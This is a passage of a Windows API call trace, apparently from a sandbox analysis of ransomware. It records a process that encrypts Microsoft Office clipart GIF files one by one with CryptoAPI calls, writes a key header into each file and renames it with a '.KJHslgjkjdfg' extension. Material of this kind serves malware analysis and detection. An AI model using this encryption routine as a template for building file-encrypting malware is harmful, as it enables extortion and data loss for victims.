0x2ef0000 [0250.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.171] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.171] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.171] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.172] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.172] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.172] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.172] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ce, lpOverlapped=0x0) returned 1 [0250.172] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1d0) returned 1 [0250.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.172] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1d0, lpOverlapped=0x0) returned 1 [0250.172] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.172] SetEndOfFile (hFile=0x130) returned 1 [0250.180] GetProcessHeap () returned 0x2ef0000 [0250.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.181] GetProcessHeap () returned 0x2ef0000 [0250.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01246_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01246_.gif.kjhslgjkjdfg")) returned 1 [0250.186] CloseHandle (hObject=0x130) returned 1 [0250.186] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d7f5e00, ftCreationTime.dwHighDateTime=0x1bd4e68, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d7f5e00, ftLastWriteTime.dwHighDateTime=0x1bd4e68, nFileSizeHigh=0x0, nFileSizeLow=0xff7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01253_.GIF", cAlternateFileName="")) returned 1 [0250.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.188] GetProcessHeap () returned 0x2ef0000 [0250.188] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.188] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.188] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0250.190] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.190] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.190] GetProcessHeap () returned 0x2ef0000 [0250.191] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.191] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.191] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.191] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.191] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.191] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.191] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.191] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.191] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.192] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.192] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.192] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xff7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xff7, lpOverlapped=0x0) returned 1 [0250.192] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1000, dwBufLen=0x1000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1000) returned 1 [0250.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.192] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1000, lpOverlapped=0x0) returned 1 [0250.192] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.192] SetEndOfFile (hFile=0x130) returned 1 [0250.195] GetProcessHeap () returned 0x2ef0000 [0250.195] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.195] GetProcessHeap () returned 0x2ef0000 [0250.195] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.kjhslgjkjdfg")) returned 1 [0250.197] CloseHandle (hObject=0x130) returned 1 [0250.197] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550b600, ftCreationTime.dwHighDateTime=0x1bd4e65, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9550b600, ftLastWriteTime.dwHighDateTime=0x1bd4e65, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01268_.GIF", cAlternateFileName="")) returned 1 [0250.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.199] GetProcessHeap () returned 0x2ef0000 [0250.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.199] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.199] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0250.204] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.204] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.204] GetProcessHeap () returned 0x2ef0000 [0250.204] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.204] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.205] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.205] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.205] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.205] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.205] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.205] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.205] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.206] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.206] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.206] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ab, lpOverlapped=0x0) returned 1 [0250.206] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b0) returned 1 [0250.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.206] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b0, lpOverlapped=0x0) returned 1 [0250.206] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.206] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.206] SetEndOfFile (hFile=0x130) returned 1 [0250.209] GetProcessHeap () returned 0x2ef0000 [0250.209] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.209] GetProcessHeap () returned 0x2ef0000 [0250.209] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.210] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.kjhslgjkjdfg")) returned 1 [0250.213] CloseHandle (hObject=0x130) returned 1 [0250.213] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc336fa00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc336fa00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01292_.GIF", cAlternateFileName="")) returned 1 [0250.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.214] GetProcessHeap () returned 0x2ef0000 [0250.214] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.214] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.214] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0250.217] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.217] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.217] GetProcessHeap () returned 0x2ef0000 [0250.217] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.217] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.217] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.217] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.217] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.217] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0250.217] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0250.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0250.218] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0250.218] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.218] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.218] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x255, lpOverlapped=0x0) returned 1 [0250.218] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x260, dwBufLen=0x260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x260) returned 1 [0250.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.218] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x260, lpOverlapped=0x0) returned 1 [0250.218] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.218] SetEndOfFile (hFile=0x130) returned 1 [0250.222] GetProcessHeap () returned 0x2ef0000 [0250.222] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0250.222] GetProcessHeap () returned 0x2ef0000 [0250.222] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0250.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.kjhslgjkjdfg")) returned 1 [0250.224] CloseHandle (hObject=0x130) returned 1 [0250.224] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0fec00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc0fec00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01293_.GIF", cAlternateFileName="")) returned 1 [0250.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0250.227] GetProcessHeap () returned 0x2ef0000 [0250.227] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0250.227] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0250.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0250.228] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0250.229] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0250.229] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0250.229] GetProcessHeap () returned 0x2ef0000 [0250.229] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0250.229] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0250.229] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0250.229] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0250.229] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0250.229] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, 